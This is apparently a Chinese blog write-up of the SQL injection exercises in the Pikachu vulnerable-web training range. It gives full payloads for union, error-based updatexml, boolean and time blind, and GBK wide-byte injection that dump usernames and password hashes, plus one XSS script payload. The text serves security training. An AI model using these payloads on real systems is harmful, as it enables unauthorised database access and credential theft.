SQLi

哦,SQL注入漏洞,可怕的漏洞。

数字型注入(post)

提示是数字型注入,post方式传参,那么不需要用引号闭合,直接注入就可以了,在burp抓包发送到repeater模块进行SQL注入

修改POST数据,首先进行逻辑判断:

id=1 and 1=1#&submit=%E6%9F%A5%E8%AF%A2

返回正常,然后获取字段个数:

id=1 order by 2#&submit=%E6%9F%A5%E8%AF%A2

可以看到有两个查询的字段,然后查看回显位:

id=-1 union select 1,2#&submit=%E6%9F%A5%E8%AF%A2

1和2均成功回显,有两个回显位,然后查看一些目标数据库的信息

id=-1 union select database(),version()#&submit=%E6%9F%A5%E8%AF%A2


查看pikachu库里的表

id=-1 union select 1,table_name from information_schema.tables where table_schema='pikachu'#&submit=%E6%9F%A5%E8%AF%A2


查看pikachu库的users表的字段

id=-1 union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users'#&submit=%E6%9F%A5%E8%AF%A2


查看pikachu库的users表的字段id、username和password值

id=-1 union select concat(id,'~',username),concat(password) from pikachu.users#&submit=%E6%9F%A5%E8%AF%A2

md5解一下密,至此sql注入成功

字符型注入(get)

关键查询语句:

$query="select id,email from member where username='$name'";

sql注入闭合字符串之后query变量是这样的:

select id,email from member where username='kobe' and 1=1#'

这样就可以闭合语句进行注入了,以下为payload

kobe' and 1=1#
kobe' order by 2#
1' union select 1,2#
1' union select database(),version()#
1' union select 1,table_name from information_schema.tables where table_schema='pikachu'#
1' union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users'#
1' union select concat(id,'~',username),concat(password) from pikachu.users#

搜索型注入

根据提示看应该是模糊查询,用%'闭合语句即可注入

这是关键查询语句:

$query="select username,id,email from member where username like '%$name%'";

以下为payload

ko%' and 1=1#
ko%' order by 3#
1%'union select 1,2,3#
1%'union select version(),database(),user()#
1%'union select 1,2,table_name from information_schema.tables where table_schema='pikachu'#
1%'union select 1,2,column_name from information_schema.columns where table_schema='pikachu' and table_name='member'#
1%'union select email,username,pw from pikachu.member#

另外一提,查看源码发现提示有一个xss漏洞

payload:

-1%' UNION SELECT '<script>alert(1)</script>',2,3#

效果:

xx型注入

这道题比较特殊,sql注入做到现在已经知道,闭合sql语句很重要。

本题的提示就是“管tmd的什么型,能够制造出闭合,就是本事”

有的教程在一步一步进行闭合,而我用的方法是模糊测试fuzzing

首先抓一个搜索的数据包,然后发送到intruder,将kobe后面设置为payload

然后加载fuzzing字典,下载链接在这:SQL注入Fuzzing字典

然后开始attack,可以看到正常回显的数据包长度为34031

那寻找包长度为34031的,它的payload就是成功闭合的

这个payload没加注释符,经过我自己测试得到了新的payload:

kobe') and 1=1#

查看源码,原来是字符串外面加了个括号,所以需要用引号和括号闭合

$query="select id,email from member where username=('$name')";

闭合已经完成,现在可以sql注入了

1') union select username,pw from pikachu.member#

"insert/update"注入

updatexml(目标xml文档,xml路径,替换查找到的数据)

concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,显示出要查的对象。

这段话来自:remon535

xml路径如果不是XPath格式,则会报错,显示出非法格式内容,这里面可以执行sql语句。

updatexml(1,concat(0x7e,payload,0x7e),1)

在payload区输入sql语句就可以了

最终的目的是使其报错,至于拼接的值多随便,并不局限于0x7e。


insert注入

来看一下具体的操作。

点击注册,抓取注册包。

发送到repeater,写入payload

and UpdateXML(1,concat(0x7e,database(),0x7e),1))#

语句执行成功,以后在database()位置写sql语句就可以了

username=1' and UpdateXML(1,concat('~',(select concat(username,'@',pw) from pikachu.member limit 2,1),'~'),1))#&password=2&sex=&phonenum=&email=&add=&submit=submit

其中limit 2,1

2表示的是从搜索到的第三个数据开始,1表示的是显示一个数据

结果如下:


update注入

做法和insert注入一样。在修改个人信息那注入即可。


源码以及执行的SQL语句
insert注入

关键源码:

$query="insert into member(username,pw,sex,phonenum,email,address) 											values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";

正常的sql语句:

insert into member(username,pw,sex,phonenum,email,address) 											values('test123','cc03e747a6afbbcbf8be7668acfebee5','','','{$getdata['email']}','')

报错注入之后的sql语句:

insert into member(username,pw,sex,phonenum,email,address)
values('test123'and UpdateXML(1,concat(0x7e,database(),0x7e),1))#,'cc03e747a6afbbcbf8be7668acfebee5','','','{$getdata['email']}','')
update注入

关键源码:

$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";

正常的sql语句:

update member set sex='1',phonenum='2',address='3',email='4'
where username='{$_SESSION['sqli']['username']}'

报错注入之后的sql语句:

update member set sex='1' and updatexml(1,concat(0x7e,database(),0x7e),11)
and '',phonenum='2',address='3',email='4'
where username='{$_SESSION['sqli']['username']}'

delete注入

delete注入,顾名思义即是在delete语句进行注入,闭合语句即可以注入:

关键代码:

$query="delete from message where id={$_GET['id']}";

payload:

http://192.168.171.30/pikachu/vul/sqli/sqli_del.php?id=1+and+updatexml(1,concat('~',(select+database()),'~'),1)
http://192.168.171.30/pikachu/vul/sqli/sqli_del.php?id=1+and+updatexml(1,concat('~',(select+concat(username,'%23',password)+from+pikachu.users+limit+1,1),'~'),1)

“http header” 注入

登录,查看页面提示,可以判断自己的访问信息存到了数据库里。

猜测是通过http头信息判断访问的信息的,修改值试一下:

应该是insert报错注入,按照之前的方法注入就行了

payload:

1'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '
1' and UpdateXML(1,concat('~',(select concat(username,'@',pw) from pikachu.member limit 2,1),'~'),1) and '

结果:

正常执行的SQL语句

insert httpinfo(
userid,ipaddress,useragent,httpaccept,remoteport
)
values(
'0','00','1','000','0000'
);

SQL注入之后的SQL语句:

insert httpinfo(
userid,ipaddress,useragent,httpaccept,remoteport
)
values(
'0','00','1'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '','000','0000'
);

盲注(base on boolian)

布尔盲注,输入不存在的值之后只会显示不存在,联合查询SQL注入不会回显。

只能通过逻辑判断来SQL注入。

以下为payload:

kobe' and 1=1#
kobe' and length(database())=7#
库名长度7
kobe' and ascii(substr(database(),1,1))=112#
kobe' and ascii(substr(database(),2,1))=105#
kobe' and ascii(substr(database(),3,1))=107#
kobe' and ascii(substr(database(),4,1))=97#
kobe' and ascii(substr(database(),5,1))=99#
kobe' and ascii(substr(database(),6,1))=104#
kobe' and ascii(substr(database(),7,1))=117#
库名pikachu
------------------------------------------------------
kobe' and (select count(table_name) from information_schema.tables where table_schema='pikachu')=5#
表个数5个
kobe' and length((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1))=6#
第二个表长度6
------------------------------------------------------
kobe' and (ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1,1)))=109 #
kobe' and (ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),2,1)))=109 #
以此类推,表名member
------------------------------------------------------
kobe' and (select count(column_name) from information_schema.columns where table_schema='pikachu' and table_name='member')=7 #
表有7个字段
kobe' and (select count(*) from information_schema.columns where table_schema='pikachu' and table_name='member' and column_name='username')=1 #
kobe' and (select count(*) from information_schema.columns where table_schema='pikachu' and table_name='member' and column_name='pw')=1 #
表中有username和pw字段
------------------------------------------------------
kobe' and (select count(*) from member where username='kobe' and pw='e10adc3949ba59abbe56e057f20f883e')=1#
存在username为kobe并且password为e10adc3949ba59abbe56e057f20f883e(123456)的数据

盲注(base on time)

时间盲注和布尔盲注相似,只不过是通过响应时间来进行逻辑判断。

以下为payload:

kobe' and sleep(5)#
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

if(expr1,expr2,expr3)#

如果expr1为True,则if()返回值为expr2,否则返回值为expr3。

宽字节注入

重要字符的url编码:

'		%27
\ %5c
\'		%5c%27
%df\' %df%5c%27

关键代码:

function escape($link,$data){
if(is_string($data)){
return mysqli_real_escape_string($link,$data); //转义特殊字符
}
if(is_array($data)){
foreach ($data as $key=>$val){
$data[$key]=escape($link,$val); //递归转义
}
}
return $data;

查看源码发现输入的数据被escape函数转义了,这个函数主要起作用的就是mysqli_real_escape_string函数

mysqli_real_escape_string($link, $escapestr);

参数 描述
$link 必需。规定要使用的 MySQL 连接。
$escapestr 必需。要转义的字符串。会被转义的字符包括 \n、\r、\、'、" 等。

转义后的字符前面会加一个 \ ,它的url编码是%5c。

对输入字符转移之后单引号就不能成功闭合,

输入name=kobe' 会转译成name=kobe\'

这样子无法闭合字符串进行注入。

但是在MySQL中使用GBK编码时,会认为两个字符是繁体中文,这样子用%df就可以闭合字符串了

输入name=kobe%df' 转义成:name=kobe%df%5c'

因为是GBK编码,会认为%df%5c是一个汉字,然后 \ 对单引号 ' 的转义失去效果,成功闭合字符串

payload:

kobe%df' union select username,password from users#

效果:

Pikachu漏洞靶场 Sql Inject(SQL注入)的更多相关文章

  1. Pikachu漏洞练习平台实验——SQL注入(四)

    1.概述 1.1发生原因 SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄 ...

  2. 常见web漏洞的整理之SQL注入

    SQL注入: 简介: 全称Structured Query Language,即结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言.也被作为关系式数据库管理系统的标准语言. 原理: ...

  3. DVWA靶场实战(七)——SQL Injection

    DVWA靶场实战(七) 七.SQL Injection: 1.漏洞原理: SQL Inject中文叫做SQL注入,是发生在web端的安全漏洞,主要是实现非法操作,例如欺骗服务器执行非法查询,他的危害在 ...

  4. 【Mysql sql inject】【入门篇】SQLi-Labs使用 part 1【01-11】

    人员流动性过大一直是乙方公司痛点.虽然试用期间都有岗前学习,但老员工忙于项目无暇带新人成长,入职新人的学习基本靠自己不断摸索.期望看相关文档就可以一蹴而是不现实的.而按部就班的学习又很难短期内将知识有 ...

  5. DVWA中SQL回显注入

    一.SQL注入简介 1.1 SQL语句就是操作数据库的语句,SQL注入就是通过web程序在数据库里执行任意SQL语句. SQL 注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问和修改数据, ...

  6. (非原)SQL注入专题--整理帖 && like 语句拼sql 如何防止注入攻击。

    原地址:blog.csdn.net/lvjin110/article/details/28697695 like 语句拼sql 如何防止注入攻击?http://bbs.csdn.net/topics/ ...

  7. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  8. SQL Injection(SQL注入)

    什么是SQL注入? SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,会导致执行恶意查询.当 Web 应用程序使用未经正确验证的用户输入与数据库通信时,攻击者 ...

  9. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

  10. mybatis 的sql语句及使用mybatis的动态sql mybatis防注入

    由于看到写的比较详细的文档这里将之前的删掉了,只留下一些我认为能帮助理解的和关于动态sql及防注入的一些理解.文档链接  :mybatis官方文档介绍 <!-- 根据条件查询用户 --> ...

随机推荐

  1. PHPStudy hosts文件可能不存在或被阻止打开及同步hosts失败问题

    在使用PHPStudy建站包时,有时会遇到同步hosts失败的问题,可能是因为hosts文件不存在或被阻止打开.这个问题通常可以通过以下几个步骤解决: 步骤一:检查hosts文件是否存在 首先,我们需 ...

  2. PostgreSQL学习笔记-4.基础知识:空值NULL、别名AS

    NULL 值代表遗漏的未知数据. 默认地,表的列可以存放 NULL 值. 本章讲解 IS NULL 和 IS NOT NULL 操作符. 语法 当创建表时,NULL 的基本语法如下: CREATE T ...

  3. PyCharm配置autopep8(自动格式化Python代码)

    PyCharm配置autopep8(自动格式化Python代码)   1. 关于PEP 8 PEP 8,Style Guide for Python Code,是Python官方推出编码约定,主要是为 ...

  4. 轻松掌握组件启动之MongoDB(上):高可用复制集架构环境搭建

    MongoDB复制集 复制集架构 在生产环境中,强烈不建议使用单机版的MongoDB服务器.原因如下: 单机版的MongoDB无法保证系统的可靠性.一旦进程发生故障或是服务器宕机,业务将直接不可用.此 ...

  5. 人均瑞数系列,瑞数 6 代 JS 逆向分析

    声明 本文章中所有内容仅供学习交流使用,不用于其他任何目的,不提供完整代码,抓包内容.敏感网址.数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关! 本文章未经许 ...

  6. kubernetes 概述

    云原生的发展 云原生是一条最佳路径或者最佳实践.更详细的说,云原生为用户指定了一条低心智负担的.敏捷的.能够以可扩展.可复制的方式最大化地利用云的能力.发挥云的价值的最佳路径.因此,云原生其实是一套指 ...

  7. Gitlab仓库代码更新时Jenkins自动构建

    环境说明 1.Jenkins和gitlab已经都已经安装完毕 2.Jenkins能连接到gitlab获取项目并能手动创建项目 3.Jenkins和gitlab能相互访问的到(gitlab要能连接到Je ...

  8. SSH简述

    远程访问及控制 1.SSH 1.1 简单介绍 SSH协议(secure shell) 是一种安全通道协议 对数据进行加密处理,用于远程管理 OpenSSH(安装包名,centos7自带) 服务名称:s ...

  9. 基于Echart的前端可视化

    GitHub 上有许多关于低代码自助可视化的项目,前端使用 Vue 和 ECharts 的示例.以下是一些可能符合你要求的项目: DataV: 项目链接:DataV 描述:DataV 是一款基于 Vu ...

  10. 美团面试:Redis 除了缓存还能做什么?可以做消息队列吗?

    这是一道面试中常见的 Redis 基础面试题,主要考察求职者对于 Redis 应用场景的了解. 即使不准备面试也建议看看,实际开发中也能够用到. 内容概览: Redis 除了做缓存,还能做什么? 分布 ...